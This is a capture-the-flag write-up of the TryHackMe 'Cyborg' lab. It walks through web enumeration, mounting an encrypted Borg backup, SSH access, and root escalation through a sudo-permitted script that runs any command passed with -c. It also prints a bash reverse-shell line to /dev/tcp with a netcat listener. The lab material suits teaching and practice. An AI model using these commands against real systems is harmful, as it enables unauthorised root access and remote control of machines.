THM: Cyborg
Cyborg
A box involving encrypted archives, source code analysis and more.
This is Cyborg from THM. It’s easy rated. I’ve been fighting Sustah but stonewalling, so let’s try this one.
Ports
SSH and HTTP only.
HTTP
The front page is the Apache default page, so it’s dirsearch to the rescue:
root@kali:/opt/tryhackme/cyborg# python3 /opt/dirsearch/dirsearch.py -u http://10.10.181.14
Dirsearch finds a few things:
[21:15:00] 200 - 6KB - /admin/
[21:15:35] 301 - 310B - /etc -> http://10.10.181.14/etc/
[21:15:35] 200 - 927B - /etc/
[21:15:42] 200 - 11KB - /index.html
At ‘admin’ we find a personal page/portfolio thing, with a few links most of which don’t do anything. However the link for Archive > Download is real and points at:
http://10.10.181.14/admin/archive.tar
This extracts to a directory containing a bunch of stuff including a file called README which helpfully says:
This is a Borg Backup repository.
Borg
Never heard of it before. What is it?
BorgBackup (short: Borg) is a deduplicating backup program. Optionally, it supports compression and authenticated encryption.
Okey dokey; let’s install it:
root@kali:/opt/tryhackme/cyborg# apt-cache search borg
# other stuff
borgbackup - deduplicating and compressing backup program
# other stuff
root@kali:/opt/tryhackme/cyborg# apt install borgbackup
Reading package lists... Done
Building dependency tree
Reading state information... Done
# etc etc
Since I don’t know how to use it, better read the docs. With this we can see how to list the repo:
root@kali:/opt/tryhackme/cyborg# borg info ./home/field/dev/final_archive/
Enter passphrase for key /opt/tryhackme/cyborg/home/field/dev/final_archive:
Repository ID: ebb1973fa0114d4ff34180d1e116c913d73ad1968bf375babd0259f74b848d31
Location: /opt/tryhackme/cyborg/home/field/dev/final_archive
Encrypted: Yes (repokey BLAKE2b)
Cache: /root/.cache/borg/ebb1973fa0114d4ff34180d1e116c913d73ad1968bf375babd0259f74b848d31
Security dir: /root/.config/borg/security/ebb1973fa0114d4ff34180d1e116c913d73ad1968bf375babd0259f74b848d31
------------------------------------------------------------------------------
Original size Compressed size Deduplicated size
All archives: 1.52 MB 1.50 MB 1.50 MB
Unique chunks Total chunks
Chunk index: 99 99
And we can also see how to mount it to a directory:
root@kali:/opt/tryhackme/cyborg# mkdir borg-mount
root@kali:/opt/tryhackme/cyborg# borg mount ./home/field/dev/final_archive/ borg-mount/Enter passphrase for key /opt/tryhackme/cyborg/home/field/dev/final_archive:
root@kali:/opt/tryhackme/cyborg# cd borg-mount/
root@kali:/opt/tryhackme/cyborg/borg-mount# ls
music_archive
# etc
However, in order to do this we do need a password. Fortunately we have one that we found in the /etc web directory. It’s hashed, but John deals with it and we are in.
Once we’ve mounted the backup we can look around and find some credentials for our user.
Privesc
Once we SSH in as Alex, we find out what he can do:
alex@ubuntu:~$ sudo -l
Matching Defaults entries for alex on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alex may run the following commands on ubuntu:
(ALL : ALL) NOPASSWD: /etc/mp3backups/backup.sh
alex@ubuntu:~$ cat /etc/mp3backups/backup.sh
#!/bin/bash
sudo find / -name "*.mp3" | sudo tee /etc/mp3backups/backed_up_files.txt
input="/etc/mp3backups/backed_up_files.txt"
#while IFS= read -r line
#do
#a="/etc/mp3backups/backed_up_files.txt"
# b=$(basename $input)
#echo
# echo "$line"
#done < "$input"
while getopts c: flag
do
case "${flag}" in
c) command=${OPTARG};;
esac
done
backup_files="/home/alex/Music/song1.mp3 /home/alex/Music/song2.mp3 /home/alex/Music/song3.mp3 /home/alex/Music/song4.mp3 /home/alex/Music/song5.mp3 /home/alex/Music/song6.mp3 /home/alex/Music/song7.mp3 /home/alex/Music/song8.mp3 /home/alex/Music/song9.mp3 /home/alex/Music/song10.mp3 /home/alex/Music/song11.mp3 /home/alex/Music/song12.mp3"
# Where to backup to.
dest="/etc/mp3backups/"
# Create archive filename.
hostname=$(hostname -s)
archive_file="$hostname-scheduled.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
cmd=$($command)
echo $cmd
What does all that mean? We’ve got a script that we can run as root, and inside this block:
while getopts c: flag
do
case "${flag}" in
c) command=${OPTARG};;
esac
done
We have the ability to pass optional commands to the script with the -c switch; this is our privesc.
For example:
alex@ubuntu:/etc/mp3backups$ sudo -u root /etc/mp3backups/backup.sh -c id
Produces the normal output of the script along with:
uid=0(root) gid=0(root) groups=0(root)
Cool. So now let’s do this:
alex@ubuntu:/etc/mp3backups$ sudo -u root /etc/mp3backups/backup.sh -c /bin/bash
And I get a root shell, but no output for some reason:
root@ubuntu:/etc/mp3backups# id
root@ubuntu:/etc/mp3backups# cd /root
root@ubuntu:/root# ls -lash
root@ubuntu:/root# cat root.txt
root@ubuntu:/root# id;hostname
Well, that’s annoying. Let’s see if I can send myself a root shell then:
root@ubuntu:/root# bash -i >& /dev/tcp/10.9.10.123/1234 0>&1
root@kali:~# nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.9.10.123] from (UNKNOWN) [10.10.50.198] 48008
root@ubuntu:/root# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:/root# pwd
pwd
/root
root@ubuntu:/root# ls -lash
ls -lash
total 36K
4.0K drwx------ 4 root root 4.0K Dec 30 02:27 .
4.0K drwxr-xr-x 24 root root 4.0K Dec 30 13:36 ..
4.0K -rw------- 1 root root 2.9K Dec 31 10:50 .bash_history
4.0K -rw-r--r-- 1 root root 3.1K Oct 22 2015 .bashrc
4.0K drwx------ 2 root root 4.0K Aug 6 15:50 .cache
4.0K drwxr-xr-x 2 root root 4.0K Dec 30 01:42 .nano
4.0K -rw-r--r-- 1 root root 148 Aug 17 2015 .profile
4.0K -r-xr--r-- 1 root root 43 Dec 30 02:26 root.txt
4.0K -rw-r--r-- 1 root root 66 Dec 30 02:13 .selected_editor
That’s a yes. Thanks for playing, and back to Sustah.